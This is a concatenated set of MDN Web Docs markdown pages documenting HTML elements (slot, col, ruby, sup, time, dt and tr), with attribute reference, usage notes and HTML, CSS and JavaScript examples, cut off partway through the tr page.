href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >Flow content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a > </td> </tr> <tr> <th scope="row">Permitted content</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#transparent_content_model" >Transparent</a > </td> </tr> <tr> <th scope="row">Events</th> <td>{{domxref("HTMLSlotElement/slotchange_event", "slotchange")}}</td> </tr> <tr> <th scope="row">Tag omission</th> <td>{{no_tag_omission}}</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a > </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role" >No corresponding role</a > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>No <code>role</code> permitted</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLSlotElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - HTML {{HTMLElement("template")}} element - HTML [`slot`](/en-US/docs/Web/HTML/Global_attributes/slot) attribute - CSS {{CSSXref("::slotted")}} pseudo-element - [CSS scoping](/en-US/docs/Web/CSS/CSS_scoping) module
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/col/index.md
--- title: "<col>: The Table Column element" slug: Web/HTML/Element/col page-type: html-element browser-compat: html.elements.col --- {{HTMLSidebar}} The **`<col>`** [HTML](/en-US/docs/Web/HTML) element defines one or more columns in a column group represented by its parent {{HTMLElement("colgroup")}} element. The `<col>` element is only valid as a child of a {{HTMLElement("colgroup")}} element that has no [`span`](/en-US/docs/Web/HTML/Element/colgroup#span) attribute defined. {{EmbedInteractiveExample("pages/tabbed/col.html","tabbed-taller")}} ## Attributes This element includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). - `span` - : Specifies the number of consecutive columns the `<col>` element spans. The value must be a positive integer greater than zero. If not present, its default value is `1`. ### Deprecated attributes The following attributes are deprecated and should not be used. They are documented below for reference when updating existing code and for historical interest only. - `align` {{deprecated_inline}} - : Specifies the horizontal alignment of each column cell. The possible {{Glossary("enumerated")}} values are `left`, `center`, `right`, `justify`, and `char`. When supported, the `char` value aligns the textual content on the character defined in the [`char`](#char) attribute and on offset defined by the [`charoff`](#charoff) attribute. Note that this attribute overrides the specified [`align`](/en-US/docs/Web/HTML/Element/colgroup#align) of its {{HTMLElement("colgroup")}} parent element. Use the {{cssxref("text-align")}} CSS property on the {{htmlelement("td")}} and {{htmlelement("th")}} elements instead, as this attribute is deprecated. > **Note:** Setting `text-align` on the `<col>` element has no effect as `<col>` has no descendants, and therefore no elements inherit from it. > > If the table does not use a [`colspan`](/en-US/docs/Web/HTML/Element/td#colspan) attribute, use the `td:nth-of-type(an+b)` CSS selector. Set `a` to zero and `b` to the position of the column in the table, e.g. `td:nth-of-type(2) { text-align: right; }` to right-align the second column cells. > > If the table does use a [`colspan`](/en-US/docs/Web/HTML/Element/td#colspan) attribute, the effect can be achieved by combining adequate CSS attribute selectors like `[colspan=n]`, though this is not trivial. - `bgcolor` {{deprecated_inline}} - : Defines the background color of each column cell. The value is an HTML color; either a [6-digit hexadecimal RGB code](/en-US/docs/Web/CSS/hex-color), prefixed by a '`#`', or a [color keyword](/en-US/docs/Web/CSS/named-color). Other CSS {{cssxref("color_value", "&lt;color&gt")}} values are not supported. Use the {{cssxref("background-color")}} CSS property instead, as this attribute is deprecated. - `char` {{deprecated_inline}} - : Specifies the alignment of the content to a character of each column cell. Typical values for this include a period (`.`) when attempting to align numbers or monetary values. If [`align`](#align) is not set to `char`, this attribute is ignored, though it will still override the specified [`char`](/en-US/docs/Web/HTML/Element/colgroup#char) of its {{HTMLElement("colgroup")}} parent element. - `charoff` {{deprecated_inline}} - : Specifies the number of characters to offset the column cell content from the alignment character specified by the [`char`](#char) attribute. - `valign` {{deprecated_inline}} - : Specifies the vertical alignment of each column cell. The possible {{Glossary("enumerated")}} values are `baseline`, `bottom`, `middle`, and `top`. Note that this attribute overrides the specified [`valign`](/en-US/docs/Web/HTML/Element/colgroup#valign) of its {{HTMLElement("colgroup")}} parent element. Use the {{cssxref("vertical-align")}} CSS property on the {{htmlelement("td")}} and {{htmlelement("th")}} elements instead, as this attribute is deprecated. > **Note:** Setting `vertical-align` on the `<col>` element has no effect as `<col>` has no descendants, and therefore no elements inherit from it. > > If the table does not use a [`colspan`](/en-US/docs/Web/HTML/Element/td#colspan) attribute, use the `td:nth-of-type(an+b)` CSS selector. Set `a` to zero and `b` to the position of the column in the table, e.g. `td:nth-of-type(2) { vertical-align: middle; }` to center the second column cells vertically. > > If the table does use a [`colspan`](/en-US/docs/Web/HTML/Element/td#colspan) attribute, the effect can be achieved by combining adequate CSS attribute selectors like `[colspan=n]`, though this is not trivial. - `width` {{deprecated_inline}} - : Specifies a default width for each column. In addition to the standard pixel and percentage values, this attribute can take the special form `0*`, which means that the width of each column spanned should be the minimum width necessary to hold the column's contents. Relative widths such as `5*` can also be used. Note that this attribute overrides the specified [`width`](/en-US/docs/Web/HTML/Element/colgroup#width) of its {{HTMLElement("colgroup")}} parent element. Use the {{cssxref("width")}} CSS property instead, as this attribute is deprecated. ## Usage notes - The `<col>` element is used within a {{HTMLElement("colgroup")}} element that doesn't have a `span` attribute. - The `<col>` elements do not structurally group columns together. This is the role of the {{HTMLElement("colgroup")}} element. - Only a limited number of CSS properties affect `<col>`: - {{cssxref("background")}} : The various `background` properties will set the background for cells within the column. As the column background color is painted on top of the table and column groups ({{HTMLElement("colgroup")}}), but behind background colors applied to the row groups ({{htmlelement("thead")}}, {{htmlelement("tbody")}}, and {{htmlelement("tfoot")}}), the rows ({{htmlelement("tr")}}), and the individual cells ({{htmlelement("th")}} and {{htmlelement("td")}}), backgrounds applied to table columns are only visible if every layer painted on top of them has a transparent background. - {{cssxref("border")}}: The various `border` properties apply, but only if the `<table>` has {{cssxref("border-collapse", "border-collapse: collapse")}} set. - {{cssxref("visibility")}}: The value `collapse` for a column results in all cells of that column not being rendered, and cells spanning into other columns being clipped. The space these columns would have occupied is removed. However, the size of other columns is still calculated as though the cells in the collapsed column(s) are present. Other values for `visibility` have no effect. - {{cssxref("width")}}: The `width` property defines a minimum width for the column, as if {{cssxref("min-width")}} were set. ## Example See {{HTMLElement("table")}} for a complete table example introducing common standards and best practices. This example demonstrates an eight-column table divided into three `<col>` elements. ### HTML A {{HTMLElement("colgroup")}} element provides structures to a basic table, creating a single implicit column group. Three `<col>` elements are included within the `<colgroup>`, creating three stylable columns. The [`span`](#span) attribute specifies the number of table columns each `<col>` should span (defaulting to `1` when omitted), enabling attributes to be shared across the columns in each `<col>`. ```html <table> <caption> Personal weekly activities </caption> <colgroup> <col /> <col span="5" class="weekdays" /> <col span="2" class="weekend" /> </colgroup> <tr> <th>Period</th> <th>Mon</th> <th>Tue</th> <th>Wed</th> <th>Thu</th> <th>Fri</th> <th>Sat</th> <th>Sun</th> </tr> <tr> <th>a.m.</th> <td>Clean room</td> <td>Football training</td> <td>Dance Course</td> <td>History Class</td> <td>Buy drinks</td> <td>Study hour</td> <td>Free time</td> </tr> <tr> <th>p.m.</th> <td>Yoga</td> <td>Chess Club</td> <td>Meet friends</td> <td>Gymnastics</td> <td>Birthday party</td> <td>Fishing trip</td> <td>Free time</td> </tr> </table> ``` ### CSS We use CSS, instead of deprecated HTML attributes, to provide a background color to the columns and align the cell content: ```css table { border-collapse: collapse; border: 2px solid rgb(140 140 140); } caption { caption-side: bottom; padding: 10px; } th, td { border: 1px solid rgb(160 160 160); padding: 8px 6px; text-align: center; } .weekdays { background-color: #d7d9f2; } .weekend { background-color: #ffe8d4; } ``` ```css hidden table { font-family: sans-serif; font-size: 0.8rem; letter-spacing: 1px; } ``` #### Result {{EmbedLiveSample('Example', 650, 170)}} ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td>None.</td> </tr> <tr> <th scope="row">Permitted content</th> <td>None; it is a {{Glossary("void element")}}.</td> </tr> <tr> <th scope="row">Tag omission</th> <td>It must have start tag, but must not have an end tag.</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> {{HTMLElement("colgroup")}} only, though it can be implicitly defined as its start tag is not mandatory. The {{HTMLElement("colgroup")}} must not have a <a href="/en-US/docs/Web/HTML/Element/colgroup#span"><code>span</code></a> attribute. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role" >No corresponding role</a > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>No <code>role</code> permitted</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLTableColElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Learn: HTML tables](/en-US/docs/Learn/HTML/Tables) - {{HTMLElement("caption")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}: Other table-related elements - {{cssxref("background-color")}}: CSS property to set the background color of each column cell - {{cssxref("border")}}: CSS property to control borders of column cells - {{cssxref("text-align")}}: CSS property to horizontally align each column cell content - {{cssxref("vertical-align")}}: CSS property to vertically align each column cell content - {{cssxref("visibility")}}: CSS property to hide cells of a column - {{cssxref("width")}}: CSS property to control the default width for each column - {{cssxref(":nth-of-type")}}, {{cssxref(":first-of-type")}}, {{cssxref(":last-of-type")}}: CSS pseudo-classes to select the desired column cells
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/ruby/index.md
--- title: "<ruby>: The Ruby Annotation element" slug: Web/HTML/Element/ruby page-type: html-element browser-compat: html.elements.ruby --- {{HTMLSidebar}} The **`<ruby>`** [HTML](/en-US/docs/Web/HTML) element represents small annotations that are rendered above, below, or next to base text, usually used for showing the pronunciation of East Asian characters. It can also be used for annotating other kinds of text, but this usage is less common. The term _ruby_ originated as [a unit of measurement used by typesetters](<https://en.wikipedia.org/wiki/Agate_(typography)>), representing the smallest size that text can be printed on newsprint while remaining legible. {{EmbedInteractiveExample("pages/tabbed/ruby.html", "tabbed-shorter")}} ## Attributes This element only includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). ## Examples ### Example 1: Character ```html <ruby> 漢 <rp>(</rp><rt>Kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp> </ruby> ``` #### Result {{EmbedLiveSample('Example 1: Character')}} ### Example 2: Word ```html <ruby> 明日 <rp>(</rp><rt>Ashita</rt><rp>)</rp> </ruby> ``` #### Result {{EmbedLiveSample('Example 1: Word')}} ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >Flow content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >, palpable content. </td> </tr> <tr> <th scope="row">Permitted content</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >Phrasing content</a >. </td> </tr> <tr> <th scope="row">Tag omission</th> <td>{{no_tag_omission}}</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role" >No corresponding role</a > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>Any</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{HTMLElement("rt")}} - {{HTMLElement("rp")}} - {{HTMLElement("rb")}} - {{HTMLElement("rtc")}} - {{CSSxRef("text-transform")}}: full-size-kana
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/sup/index.md
--- title: "<sup>: The Superscript element" slug: Web/HTML/Element/sup page-type: html-element browser-compat: html.elements.sup --- {{HTMLSidebar}} The **`<sup>`** [HTML](/en-US/docs/Web/HTML) element specifies inline text which is to be displayed as superscript for solely typographical reasons. Superscripts are usually rendered with a raised baseline using smaller text. {{EmbedInteractiveExample("pages/tabbed/sup.html", "tabbed-shorter")}} ## Attributes This element only includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). ## Usage notes The `<sup>` element should only be used for typographical reasons—that is, to change the position of the text to comply with typographical conventions or standards, rather than solely for presentation or appearance purposes. For example, to style the [wordmark](https://en.wikipedia.org/wiki/Wordmark) of a business or product which uses a raised baseline should be done using CSS (most likely {{cssxref("vertical-align")}}) rather than `<sup>`. This would be done using, for example, `vertical-align: super` or, to shift the baseline up 50%, `vertical-align: 50%`. Appropriate use cases for `<sup>` include (but aren't necessarily limited to): - Displaying exponents, such as "x<sup>3</sup>". It may be worth considering the use of [MathML](/en-US/docs/Web/MathML) for these, especially in more complex cases. See [Exponents](#exponents) under [Examples](#examples) below. - Displaying [superior lettering](https://en.wikipedia.org/wiki/Superior_letter), which is used in some languages when rendering certain abbreviations. For example, in French, the word "mademoiselle" can be abbreviated "M<sup>lle</sup>"; this is an acceptable use case. See [Superior lettering](#superior_lettering) for examples. - Representing ordinal numbers, such as "4<sup>th</sup>" instead of "fourth." See [Ordinal numbers](#ordinal_numbers) for examples. ## Examples ### Exponents Exponents, or powers of a number, are among the most common uses of superscripted text. For example: ```html <p> One of the most common equations in all of physics is <var>E</var>=<var>m</var ><var>c</var><sup>2</sup>. </p> ``` #### Result {{EmbedLiveSample("Exponents", 650, 80)}} ### Superior lettering Superior lettering is not technically the same thing as superscript. However, it is common to use `<sup>` to present superior lettering in HTML. Among the most common uses of superior lettering is the presentation of certain abbreviations in French: ```html <p>Robert a présenté son rapport à M<sup>lle</sup> Bernard.</p> ``` #### Result {{EmbedLiveSample("Superior_lettering", 650, 80)}} ### Ordinal numbers Ordinal numbers, such as "fourth" in English or "quinto" in Spanish may be abbreviated using numerals and language-specific text rendered in superscript: ```html <p> The ordinal number "fifth" can be abbreviated in various languages as follows: </p> <ul> <li>English: 5<sup>th</sup></li> <li>French: 5<sup>ème</sup></li> </ul> ``` #### Result {{EmbedLiveSample("Ordinal_numbers", 650, 160)}} ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >Flow content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >, palpable content. </td> </tr> <tr> <th scope="row">Permitted content</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >Phrasing content</a >. </td> </tr> <tr> <th scope="row">Tag omission</th> <td>{{no_tag_omission}}</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <code ><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/structural_roles#structural_roles_with_html_equivalents">superscript</a ></code > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>Any</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - The {{HTMLElement("sub")}} HTML element that produces subscripts. Note that you cannot use `sub` and `sup` at the same time: you need to use [MathML](/en-US/docs/Web/MathML) to produce both a superscript and a subscript next to the chemical symbol of an element, representing its atomic number and its nuclear number. - The [`<msub>`](/en-US/docs/Web/MathML/Element/msub), [`<msup>`](/en-US/docs/Web/MathML/Element/msup), and [`<msubsup>`](/en-US/docs/Web/MathML/Element/msubsup) MathML elements. - The CSS {{cssxref("vertical-align")}} property.
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/time/index.md
--- title: "<time>: The (Date) Time element" slug: Web/HTML/Element/time page-type: html-element browser-compat: html.elements.time --- {{HTMLSidebar}} The **`<time>`** [HTML](/en-US/docs/Web/HTML) element represents a specific period in time. It may include the `datetime` attribute to translate dates into machine-readable format, allowing for better search engine results or custom features such as reminders. It may represent one of the following: - A time on a 24-hour clock. - A precise date in the [Gregorian calendar](https://en.wikipedia.org/wiki/Gregorian_calendar) (with optional time and timezone information). - [A valid time duration](https://html.spec.whatwg.org/multipage/common-microsyntaxes.html#valid-duration-string). {{EmbedInteractiveExample("pages/tabbed/time.html", "tabbed-shorter")}} ## Attributes Like all other HTML elements, this element supports the [global attributes](/en-US/docs/Web/HTML/Global_attributes). - `datetime` - : This attribute indicates the time and/or date of the element and must be in one of the formats described below. ## Usage notes This element is for presenting dates and times in a machine-readable format. For example, this can help a user agent offer to add an event to a user's calendar. This element should not be used for dates prior to the introduction of the Gregorian calendar (due to complications in calculating those dates). The _datetime value_ (the machine-readable value of the datetime) is the value of the element's `datetime` attribute, which must be in the proper format (see below). If the element does not have a `datetime` attribute, **it must not have any element descendants**, and the _datetime value_ is the element's child text content. ### Valid datetime values - a valid year string - : `2011` - a valid month string - : `2011-11` - a valid date string - : `2011-11-18` - a valid yearless date string - : `11-18` - a valid week string - : `2011-W47` - a valid time string - : `14:54` `14:54:39` `14:54:39.929` - a valid local date and time string - : `2011-11-18T14:54:39.929` `2011-11-18 14:54:39.929` - a valid global date and time string - : `2011-11-18T14:54:39.929Z` `2011-11-18T14:54:39.929-0400` `2011-11-18T14:54:39.929-04:00` `2011-11-18 14:54:39.929Z` `2011-11-18 14:54:39.929-0400` `2011-11-18 14:54:39.929-04:00` - a valid duration string - : `PT4H18M3S` ## Examples ### Simple example #### HTML ```html <p>The concert starts at <time datetime="2018-07-07T20:00:00">20:00</time>.</p> ``` #### Result {{EmbedLiveSample('Simple_example', 250, 80)}} ### `datetime` example #### HTML ```html <p> The concert took place on <time datetime="2001-05-15T19:00">May 15</time>. </p> ``` #### Result {{EmbedLiveSample('datetime_example', 250, 80)}} ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >Flow content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >, palpable content. </td> </tr> <tr> <th scope="row">Permitted content</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >Phrasing content</a >. </td> </tr> <tr> <th scope="row">Tag omission</th> <td>{{no_tag_omission}}</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <code ><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/structural_roles#structural_roles_with_html_equivalents">time</a ></code > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>Any</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLTimeElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - The {{HTMLElement("data")}} element, allowing to signal other kind of values.
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/dt/index.md
--- title: "<dt>: The Description Term element" slug: Web/HTML/Element/dt page-type: html-element browser-compat: html.elements.dt --- {{HTMLSidebar}} The **`<dt>`** [HTML](/en-US/docs/Web/HTML) element specifies a term in a description or definition list, and as such must be used inside a {{HTMLElement("dl")}} element. It is usually followed by a {{HTMLElement("dd")}} element; however, multiple `<dt>` elements in a row indicate several terms that are all defined by the immediate next {{HTMLElement("dd")}} element. The subsequent {{HTMLElement("dd")}} (**Description Details**) element provides the definition or other related text associated with the term specified using `<dt>`. {{EmbedInteractiveExample("pages/tabbed/dt.html", "tabbed-standard")}} ## Attributes This element only includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). ## Examples For examples, see the [examples provided for the `<dl>` element](/en-US/docs/Web/HTML/Element/dl#examples). ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td>None.</td> </tr> <tr> <th scope="row">Permitted content</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >Flow content</a >, but with no {{HTMLElement("header")}}, {{HTMLElement("footer")}}, sectioning content or heading content descendants. </td> </tr> <tr> <th scope="row">Tag omission</th> <td> The start tag is required. The end tag may be omitted if this element is immediately followed by another <code>&#x3C;dt></code> element or a {{HTMLElement("dd")}} element, or if there is no more content in the parent element. </td> </tr> <tr> <th scope="row">Permitted parents</th> <td> A {{HTMLElement("dl")}} or (in {{Glossary("WHATWG")}} HTML, {{Glossary("W3C")}} HTML 5.2 and later) a {{HTMLElement("div")}} that is a child of a {{HTMLElement("dl")}}.<br />This element can be used before a {{HTMLElement("dd")}} or another {{HTMLElement("dt")}} element. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role" >No corresponding role</a > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td> <code ><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Listitem_role" >listitem</a ></code > </td> </tr> <tr> <th scope="row">DOM interface</th> <td> {{domxref("HTMLElement")}} Up to Gecko 1.9.2 (Firefox 4) inclusive, Firefox implements the {{domxref("HTMLSpanElement")}} interface for this element. </td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{HTMLElement("dl")}} - {{HTMLElement("dd")}}
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/tr/index.md
--- title: "<tr>: The Table Row element" slug: Web/HTML/Element/tr page-type: html-element browser-compat: html.elements.tr --- {{HTMLSidebar}} The **`<tr>`** [HTML](/en-US/docs/Web/HTML) element defines a row of cells in a table. The row's cells can then be established using a mix of {{HTMLElement("td")}} (data cell) and {{HTMLElement("th")}} (header cell) elements. {{EmbedInteractiveExample("pages/tabbed/tr.html","tabbed-taller")}} ## Attributes This element includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). ### Deprecated attributes The following attributes are deprecated and should not be used. They are documented below for reference when updating existing code and for historical interest only. - `align` {{deprecated_inline}} - : Specifies the horizontal alignment of each row cell. The possible {{Glossary("enumerated")}} values are `left`, `center`, `right`, `justify`, and `char`. When supported, the `char` value aligns the textual content on the character defined in the [`char`](#char) attribute and on offset defined by the [`charoff`](#charoff) attribute. Use the {{cssxref("text-align")}} CSS property instead, as this attribute is deprecated. - `bgcolor` {{deprecated_inline}} - : Defines the background color of each row cell. The value is an HTML color; either a [6-digit hexadecimal RGB code](/en-US/docs/Web/CSS/hex-color), prefixed by a '`#`', or a [color keyword](/en-US/docs/Web/CSS/named-color). Other CSS {{cssxref("color_value", "&lt;color&gt")}} values are not supported. Use the {{cssxref("background-color")}} CSS property instead, as this attribute is deprecated. - `char` {{deprecated_inline}} - : Specifies the alignment of the content to a character of each row cell. Typical values for this include a period (`.`) when attempting to align numbers or monetary values. If [`align`](#align) is not set to `char`, this attribute is ignored. - `charoff` {{deprecated_inline}} - : Specifies the number of characters to offset the row cell content from the alignment character specified by the [`char`](#char) attribute. - `valign` {{deprecated_inline}} - : Specifies the vertical alignment of each row cell. The possible {{Glossary("enumerated")}} values are `baseline`, `bottom`, `middle`, and `top`. Use the {{cssxref("vertical-align")}} CSS property instead, as this attribute is deprecated. ## Usage notes - The `<tr>` may be placed as a direct child of its parent {{HTMLElement("table")}} element, but only if the `<table>` has no child {{HTMLElement("tbody")}} elements, and only after any {{HTMLElement("caption")}}, {{HTMLElement("colgroup")}}, and {{HTMLElement("thead")}} elements. Otherwise, the parent must be a {{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, or {{HTMLElement("tfoot")}} element. - The CSS pseudo-classes {{cssxref(":nth-of-type")}}, {{cssxref(":first-of-type")}}, and {{cssxref(":last-of-type")}} are often useful for selecting the desired set of rows and their data and header cells ({{HTMLElement("td")}} and {{HTMLElement("th")}} elements). ## Examples See {{HTMLElement("table")}} for a complete table example introducing common standards and best practices. ### Basic row setup This example demonstrates a table with four rows and three columns, where the first column contains headers for the row data cells. #### HTML Four `<tr>` elements are used to create four table rows. Each row contains three cells - one header cell ({{HTMLElement("th")}}) and two data cells ({{HTMLElement("td")}}) - creating three columns. The [`scope`](/en-US/docs/Web/HTML/Element/th#scope) attribute set on each header cell specifies which cells they relate to, which in this example is all data cells within the `row`. ```html <table> <tr> <th scope="row">A</th> <td>Alfa</td> <td>AL fah</td> </tr> <tr> <th scope="row">B</th> <td>Bravo</td> <td>BRAH voh</td> </tr> <tr> <th scope="row">C</th> <td>Charlie</td> <td>CHAR lee</td> </tr> <tr> <th scope="row">D</th> <td>Delta</td> <td>DELL tah</td> </tr> </table> ``` #### CSS The CSS {{cssxref(":nth-of-type")}} pseudo-class is used to select every `odd` row and set the {{cssxref("background-color")}} of those rows to a slightly darker tone, creating a so-called "zebra stripe" effect. This alternating background makes the rows of data in the table easier to parse and read—imagine having many rows and columns and trying to find some data in a particular row. In addition, the row header cells ({{HTMLElement("th")}} elements) are highlighted with a {{cssxref("background-color")}} to distinguish them from the data cells ({{HTMLElement("td")}} elements). ```css tr:nth-of-type(odd) { background-color: #eee; } tr th[scope="row"] { background-color: #d6ecd4; } ``` ```css hidden table { border-collapse: collapse; border: 2px solid rgb(140 140 140); font-family: sans-serif; font-size: 0.8rem; letter-spacing: 1px; } th, td { border: 1px solid rgb(160 160 160); padding: 8px 10px; } ``` #### Result {{EmbedLiveSample("Basic_row_setup", 650, 140)}} ### Header row This example extends the basic table from the [previous example](#basic_row_setup) by adding a header row as the first row of the table. #### HTML An additional table row (`<tr>`) is added as the first row of the table with column header cells ({{HTMLElement("th")}}) providing a header for each column. We put this row in a {{HTMLElement("thead")}} grouping element to indicate this is the header of the table. The [`scope`](/en-US/docs/Web/HTML/Element/th#scope) attribute is added to each header cell (`<th>`) within this head row to explicitly specify that each header cell relates to all the cells within its own column, even though those cells are in the {{HTMLElement("tbody")}}. ```html <table> <tr> <th scope="col">Symbol</th> <th scope="col">Code word</th> <th scope="col">Pronunciation</th> </tr> <tr> <th scope="row">A</th> <td>Alfa</td> <td>AL fah</td> </tr> <tr> <th scope="row">B</th> <td>Bravo</td> <td>BRAH voh</td> </tr> <tr> <th scope="row">C</th> <td>Charlie</td> <td>CHAR lee</td> </tr> <tr> <th scope="row">D</th> <td>Delta</td> <td>DELL tah</td> </tr> </table> ``` #### CSS The CSS is nearly unchanged from the [previous example](#basic_row_setup), except for some additional styling to highlight the "header row" so that the headers of the columns stand out from the other cells. ```css tr:nth-of-type(odd) { background-color: #eee; } tr th[scope="col"] { background-color: #505050; color: #fff; } tr th[scope="row"] { background-color: #d6ecd4; } ``` ```css hidden table { border-collapse: collapse; border: 2px solid rgb(140 140 140); font-family: sans-serif; font-size: 0.8rem; letter-spacing: 1px; } th, td { border: 1px solid rgb(160 160 160); padding: 8px 10px; } ``` #### Result {{EmbedLiveSample("Header_row", 650, 170)}} ### Sorting rows There are no native methods for sorting the rows (`<tr>` elements) of a {{HTMLElement("table")}}. But using {{jsxref("Array.prototype.sort()")}}, {{domxref("Node.removeChild")}}, and {{domxref("Node.appendChild")}}, a custom `sort()` function can be implemented in JavaScript to sort an {{domxref("HTMLCollection")}} of `<tr>` elements. #### HTML A {{HTMLElement("tbody")}} element is used in this basic table to mark the body section of the table and to include three rows ({{HTMLElement("tr")}} elements) with data ({{HTMLElement("td")}} elements), creating one column with numbers in descending order. ```html <table> <tbody> <tr> <td>3</td> </tr> <tr> <td>2</td> </tr> <tr> <td>1</td> </tr> </tbody> </table> ``` #### JavaScript In the JavaScript code below, the created `sort()` function is attached to the {{HTMLElement("tbody")}} element so that it sorts the table cells in order of increasing value and updates the display accordingly. ```js HTMLTableSectionElement.prototype.sort = function (cb) { Array.from(this.rows) .sort(cb) .forEach((e) => this.appendChild(this.removeChild(e))); }; document .querySelector("table") .tBodies[0].sort((a, b) => a.textContent.localeCompare(b.textContent)); ``` ```css hidden table { border-collapse: collapse; border: 2px solid rgb(140 140 140); font-family: sans-serif; font-size: 0.8rem; letter-spacing: 1px; } td { border: 1px solid rgb(160 160 160); padding: 4px 8px; } ``` #### Result {{EmbedLiveSample('Sorting_rows', '650', '80')}} ### Sorting rows with a click on header cells This example extends the basic table from the [previous example](#sorting_rows) by making the sorting interactive and independent for multiple columns. #### HTML An additional data cell ({{HTMLElement("td")}} element) is added to each row (`<tr>` element) within the table body ({{HTMLElement("tbody")}} element) to create a second column with letters in ascending order. Using the {{HTMLElement("thead")}} element, a head section is added before the body section to introduce a head row with table header cells ({{HTMLElement("th")}} element). These header cells are used in the JavaScript code below to make them clickable and then to perform the corresponding sorting when activated per click. ```html <table> <thead> <tr> <th>Numbers</th> <th>Letters</th> </tr> </thead> <tbody> <tr> <td>3</td> <td>A</td> </tr> <tr> <td>2</td> <td>B</td> </tr> <tr> <td>1</td> <td>C</td> </tr> </tbody> </table> ``` #### JavaScript A click event handler is added to each table header ({{HTMLElement("th")}} element) of each {{HTMLElement("table")}} in the 